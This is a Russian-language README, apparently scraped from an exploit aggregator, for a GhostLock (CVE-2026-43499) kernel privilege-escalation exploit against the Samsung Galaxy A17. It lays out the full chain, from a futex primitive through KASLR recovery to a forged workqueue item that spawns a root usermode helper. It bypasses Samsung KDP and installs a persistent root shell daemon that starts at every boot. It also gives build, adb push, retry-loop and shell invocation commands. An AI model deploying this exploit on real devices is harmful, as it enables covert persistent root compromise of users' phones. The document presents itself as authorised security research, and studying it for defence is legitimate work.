## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MOBILEHACKINGLAB-GHOSTLOCK-A17
# GhostLock — CVE-2026-43499 на Samsung Galaxy A17
Полная цепочка эксплуатации user-to-root для **CVE-2026-43499 («GhostLock»)** на Samsung Galaxy A17 **SM-A175F** под управлением Android 16 / GKI 6.12.
Цепочка начинается с публичных примитивов GhostLock и завершается usermode helper, выполняющимся как:
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)
context=u:r:kernel:s0
Он также запускает постоянную root-оболочку на каждой загрузке через `g4d` / `g4sh` и завершается без паники ядра.
📖 **Полное техническое описание:**
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
> **Заметка об исследовании**
>
> Мы не обнаруживали CVE-2026-43499. Заслуга в обнаружении исходной уязвимости и исследовании IonStack принадлежит Nebula Security.
>
> Этот репозиторий документирует наш независимый порт для Samsung Galaxy A17, изменения, потребовавшиеся из-за защит ядра Samsung, и новый финальный этап эксплуатации.
>
> Только для авторизованных исследований безопасности и образовательных целей.
* * *
## Цель
|
---|---
**CVE**| CVE-2026-43499 — "ghostlock"
**Устройство**| Samsung Galaxy A17 (SM-A175F, mt6789)
**GPU**| Mali-G57
**Ядро**| `6.12.23-android16-5-abA175FXXS3BZA5-4k`
**Результат**| `uid=0(root)` / `u:r:kernel:s0`
**Root-оболочка**| демон `g4d` \+ клиент `g4sh`
**Персистентность**| При каждой загрузке
**Выход эксплойта**| Чистый, без паники ядра
**Встреченные механизмы защиты**| Samsung KDP, DEFEX, SELinux, PANIC_ON_OOPS, arm64 KASLR
* * *
## Чем отличается этот порт?
Оригинальное исследование ghostlock предоставляет входные примитивы:
root@kitploit:~
pselect reclaim
↓
fake rt_mutex_waiter
↓
constrained rb-tree pointer write
Однако на Galaxy A17 стандартный финальный этап с патчингом учётных данных не работает.
### Samsung KDP блокирует обычную запись в cred
KDP защищает связанные с учётными данными данные ядра на EL2.
В этой сборке попытки изменить учётные данные задачи молча отклонялись, даже когда целевые адреса были корректны.
Поэтому вместо **записи root-учётных данных** этот порт заставляет ядро выполнять код с уже существующими привилегированными учётными данными.
### Новый финальный этап: выполнение через поддельную workqueue
Финальный этап:
root@kitploit:~
constrained kernel write
↓
physical read/write channel
↓
KASLR slide recovery
↓
discover system_wq / cpu_pwq
↓
forge work_struct
↓
call_usermodehelper_exec_work
↓
/system/bin/sh
↓
uid=0(root), u:r:kernel:s0
Поддельный элемент работы помещается в привязанный пул `system_wq` и активируется штормом аллокаций/освобождений `ptmx`.
В результате usermode helper выполняется с учётными данными init.
Перезапись учётных данных задачи не требуется.
* * *
## Цепочка эксплойта
root@kitploit:~
userspace shell (uid 2000)
│
▼
pselect / PI-futex primitive
│
▼
constrained aligned kernel pointer write
│
▼
forged pipe_buffer channel
│
▼
arbitrary physical read/write
│
├── recover KASLR slide
│
├── locate system_wq / cpu_pwq
│
└── prepare forged work_struct
│
▼
queue usermode-helper work
│
▼
ptmx storm wakes worker
│
▼
/system/bin/sh runs with init creds
│
▼
uid=0(root)
│
▼
g4d → @ghostlockd → g4sh
* * *
## Ключевые инженерные изменения
По сравнению с публичным портом для OnePlus большинство этапов после исходного примитива записи были переработаны.
### 1\. Новый этап получения root, совместимый с KDP
Финальный этап с патчингом учётных данных был заменён поддельным элементом workqueue, нацеленным на путь выполнения usermode helper.
Это полностью исключает запись в защищённые структуры `cred`.
### 2\. Новый оракул сдвига KASLR
Прежний подход с фиксацией через perf-события был ненадёжен на этом устройстве.
Вместо этого эксплойт использует три сдвинутых указателя из записи `ctl_table` `boot_id`:
root@kitploit:~
procname
data
proc_handler
Все три перекрёстно проверяются перед принятием сдвига.
### 3\. Обнаружение workqueue в рантайме
`cpu_pwq` обнаруживается обходом:
root@kitploit:~
system_wq → pwqs
вместо опоры на фиксированное смещение, специфичное для устройства.
### 4\. Чистый выход эксплойта
Исходный канал оставляет побочные изменения состояния `struct page`, которые могут вызывать `PANIC_ON_OOPS` при завершении работы.
Текущая цепочка позволяет избежать краха при завершении и была продемонстрирована с чистым выходом после получения root.
### 5\. Root-оболочка
Usermode helper запускает:
root@kitploit:~
g4d
который прослушивает абстрактный Unix-сокет:
root@kitploit:~
@ghostlockd
`g4sh` подключается к нему и предоставляет либо интерактивную root-оболочку, либо разовое выполнение команд.
root@kitploit:~
/data/local/tmp/a/g4sh
/data/local/tmp/a/g4sh -c "id"
* * *
## Почему Galaxy A17 интересен
Это устройство сочетает несколько механизмов защиты, которые ломают распространённые техники эксплуатации ядра Android:
* **Samsung KDP** — защищает связанные с учётными данными данные ядра на EL2
* **DEFEX** — ограничивает привилегированное выполнение из недоверенных путей
* **SELinux**
* **PANIC_ON_OOPS / PANIC_ON_BUG**
* **Большие сдвиги arm64 KASLR**
* **Ограниченный примитив записи только указателем**
Это вынудило использовать иную стратегию эксплуатации по сравнению с обычной:
root@kitploit:~
arbitrary RW → patch cred → disable SELinux
Вместо этого:
root@kitploit:~
arbitrary RW → recover runtime state → forge kernel work → execute usermode helper
* * *
## Сборка
Требуется свежий Android NDK.
root@kitploit:~
make
Создаёт:
root@kitploit:~
ghostlock # exploit
g4d # static root-shell daemon
g4sh # root-shell client
* * *
## Запуск
Загрузите бинарники:
root@kitploit:~
adb push ghostlock /data/local/tmp/a/g4
adb push g4d /data/local/tmp/a/g4d
adb push g4sh /data/local/tmp/a/g4sh
adb shell 'chmod 755 /data/local/tmp/a/g4 /data/local/tmp/a/g4d /data/local/tmp/a/g4sh'
Запустите цикл эксплойта с учётом перезагрузок:
root@kitploit:~
./scripts/rr_loop4.sh
После `ROOTED`:
root@kitploit:~
adb shell /data/local/tmp/a/g4sh
Или выполните одну команду:
root@kitploit:~
adb shell '/data/local/tmp/a/g4sh -c "id"'
Ожидаемый результат:
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
* * *
## Надёжность
Примитив вероятностный и сильно зависит от условий загрузки.
Успешная эксплуатация может потребовать многократных попыток. Прилагаемый скрипт `rr_loop4.sh` автоматически обрабатывает повторные попытки и циклы перезагрузки.
Это исследовательский эксплойт, а не мгновенный одноразовый инструмент для получения root.
* * *
## Проверка в QEMU
`qemu-e2e/` содержит стенд сквозной проверки (end-to-end) с использованием извлечённого ядра Samsung.
Стенд использовался для проверки:
* изменений в цепочке эксплойта
* обработки KASLR
* подделки workqueue
* выполнения usermode helper
* чистого завершения эксплойта
* циклов обмена `g4d` / `g4sh`
Сам образ ядра Samsung **не включён**.
Смотрите:
root@kitploit:~
qemu-e2e/
для инструкций по настройке.
* * *
## Структура репозитория
root@kitploit:~
Makefile
src/ exploit source and device profiles
src/daemon/ g4d root daemon + g4sh client
docs/OFFSETS.md validated device offsets
docs/PORTING.md porting notes
examples/ proof-of-root artifacts
scripts/rr_loop4.sh reboot-aware exploit loop
qemu-e2e/ end-to-end QEMU validation
* * *
## Связанные исследования
### Оригинальное исследование GhostLock / IonStack
NebuSec:
https://nebusec.ai/research/ionstack-part-3/
https://github.com/NebuSec/CyberMeowfia/tree/main/IonStack
### Порт для OnePlus
https://github.com/JoinChang/ghostlock-oneplus
### Статья Mobile Hacking Lab
Более детальный разбор порта для Samsung Galaxy A17, ограничений KDP, восстановления KASLR, финального этапа на основе workqueue и реализации root-оболочки:
https://www.mobilehackinglab.com/blog/cve-2026-43499-ghostlock-a17-root-shell
* * *
## Подтверждение root
Артефакты с реального устройства доступны в:
root@kitploit:~
examples/
включая журналы эксплойта и проверку root-контекста.
Пример:
root@kitploit:~
uid=0(root)
gid=0(root)
groups=0(root)
context=u:r:kernel:s0
* * *
## Отказ от ответственности
Этот proof-of-concept предоставлен **только для образовательных целей и авторизованных исследований безопасности**.
Используйте его только на устройствах и в окружениях, которыми вы владеете или на тестирование которых имеете явное разрешение.